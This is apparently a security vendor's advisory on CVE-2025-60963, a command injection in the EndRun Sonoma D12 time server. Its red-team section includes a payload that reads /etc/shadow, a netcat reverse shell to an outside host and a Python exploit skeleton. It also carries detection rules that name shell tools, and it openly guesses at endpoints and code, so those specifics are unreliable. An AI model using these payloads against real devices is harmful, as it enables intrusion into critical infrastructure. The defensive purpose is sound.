CVE-2025-60963

Executive Summary

CVE-2025-60963 is a critical OS Command Injection vulnerability discovered in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. This flaw allows an unauthenticated attacker to execute arbitrary operating system commands on the device, leading to full compromise including arbitrary code execution, denial of service, privilege escalation, and exfiltration of sensitive information. The vulnerability resides in the web management interface or a related service that improperly sanitizes user-supplied input before passing it to a system shell. Given the device's role as a precise time source for critical infrastructure (e.g., financial networks, power grids, telecom), exploitation could have cascading effects on dependent systems. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for asset owners.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary embedded firmware for a hardware appliance. Supply chain risk is limited to the device's firmware update mechanism and the integrity of the vendor's distribution channels.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description and typical characteristics of OS command injection in network appliances, the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – likely requires simple crafted input.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component is the device itself.
• Confidentiality (C): High (H) – full file system access.
• Integrity (I): High (H) – arbitrary command execution.
• Availability (A): High (H) – can cause denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable with no authentication, and the device is often deployed in sensitive network segments.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in the Sonoma D12's firmware. The device likely exposes a web-based management interface or an NTP control channel that accepts parameters such as time server addresses, diagnostic commands, or configuration values. The application fails to sanitize or escape user-supplied input before passing it to a system shell function (e.g., system(), exec(), popen() in C/C++).

Attack Vector Example: An attacker could send a crafted HTTP POST request to the device's web interface, injecting shell metacharacters (e.g., ;, |, &&, `) into a parameter like ntp_server or ping_host. For instance:

POST /cgi-bin/config.cgi HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded

ntp_server=pool.ntp.org;id

If the backend executes ping -c 1 pool.ntp.org;id, the id command would run, revealing the current user context.

Impact:

• Arbitrary Code Execution: Full control over the device's OS.
• Denial of Service: Kill critical processes or corrupt filesystem.
• Privilege Escalation: The web service likely runs as root, granting immediate root access.
• Information Disclosure: Read configuration files, NTP keys, network credentials, and GPS data.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (C/C++ example):

void handle_ntp_config(char *server) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ntpdate %s", server);
    system(cmd);  // Vulnerable: no input sanitization
}

Patched Code (hypothetical):

void handle_ntp_config(char *server) {
    // Whitelist allowed characters (alphanumeric, dots, hyphens)
    if (!is_valid_hostname(server)) {
        log_error("Invalid server name");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ntpdate %s", server);
    system(cmd);  // Still risky; better to use execve with fixed args
}

Better Patched Code (using execve):

void handle_ntp_config(char *server) {
    if (!is_valid_hostname(server)) {
        log_error("Invalid server name");
        return;
    }
    // Use execve to avoid shell interpretation
    char *args[] = {"/usr/sbin/ntpdate", server, NULL};
    execve(args[0], args, NULL);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: EndRun Sonoma D12 with firmware 6010-0071-000 Ver 4.00
• Attacker: Kali Linux VM on same network segment
• Tools: Burp Suite, netcat, Metasploit (if module exists), custom Python script

Exploitation Steps:

1. Reconnaissance: Scan for the device using Nmap:

   nmap -p 80,443,123,161,22 --open 192.168.1.0/24
   

2. Identify Web Interface: Access http://<target_ip> and locate input fields (e.g., NTP server, ping target, diagnostic commands).
3. Craft Payload: Use Burp Suite to intercept a request and inject commands:

   POST /cgi-bin/diag.cgi HTTP/1.1
   Host: 192.168.1.100
   Content-Type: application/x-www-form-urlencoded
   
   target=127.0.0.1;cat /etc/shadow
   

4. Execute Reverse Shell: Inject a reverse shell payload:

   target=127.0.0.1;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.50 4444 >/tmp/f
   

5. Post-Exploitation: Dump configuration, NTP keys, and pivot to internal networks.

Python Exploit Skeleton:

import requests

target = "http://192.168.1.100/cgi-bin/diag.cgi"
payload = "127.0.0.1;id"
data = {"target": payload}
r = requests.post(target, data=data)
print(r.text)

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for unusual HTTP POST requests to /cgi-bin/ endpoints containing shell metacharacters (;, |, &, `).
2. Log Analysis: Check device logs for unexpected command execution or failed authentication attempts.
3. Honeypot: Deploy a decoy Sonoma D12 to capture attacker techniques.
4. Mitigation: If patching is not possible, restrict access to the management interface via firewall ACLs (allow only trusted IPs) and disable unused services.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing shell metacharacters in POST parameters (e.g., ;id, |nc, `whoami`)
• Outbound connections from the device to unusual IPs on ports 4444, 1337, etc.
• DNS queries for suspicious domains (e.g., c2.example.com)

Host IOCs:

• Unexpected processes running (e.g., /bin/sh, nc, python)
• Modified system binaries (e.g., /bin/ls replaced)
• New cron jobs or startup scripts
• Presence of files in /tmp/ with suspicious names (e.g., /tmp/f)

File IOCs:

• /etc/shadow or /etc/passwd accessed or modified
• Configuration files containing backdoor commands

Detection Engineering

YARA Rule

rule CVE_2025_60963_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting EndRun Sonoma D12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60963"
    strings:
        $cmd1 = /[;&|`]\s*(id|cat|ls|nc|bash|sh|python|perl|wget|curl|rm|kill|reboot|halt)/ nocase
        $cmd2 = /(system|exec|popen|shell_exec|passthru)/ nocase
        $http_post = "POST /cgi-bin/"
    condition:
        $http_post and any of ($cmd*)
}

Sigma Rule

title: CVE-2025-60963 OS Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to EndRun Sonoma D12 CGI endpoints containing shell metacharacters
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/cgi-bin/'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '`'
            - '&&'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in configuration values (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-60963 OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/"; http_uri;
    pcre:"/(?:[;&|`])\s*(?:id|cat|ls|nc|bash|sh|python|perl|wget|curl|rm|kill|reboot|halt)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-60963;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the Sonoma D12 behind a firewall with strict ACLs allowing only necessary NTP traffic (UDP 123) from trusted NTP clients.
2. Disable Web Interface: If not required, disable the HTTP/HTTPS management interface via device configuration.
3. Monitor Logs: Enable and forward syslog to a SIEM for real-time analysis.

Long-Term Fixes:

• Vendor Patch: Await an official firmware update from EndRun Technologies. Contact their support for an ETA.
• Input Validation: If source code is available, implement strict input validation (whitelist alphanumeric and dots only) and use execve() instead of system().
• Network Segmentation: Place the device in a dedicated management VLAN with no direct internet access.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the device to filter malicious requests:

  location /cgi-bin/ {
      if ($args ~* "[;&|`]") {
          return 403;
      }
  }
  

Valters IT
Securing Critical Infrastructure, One CVE at a Time.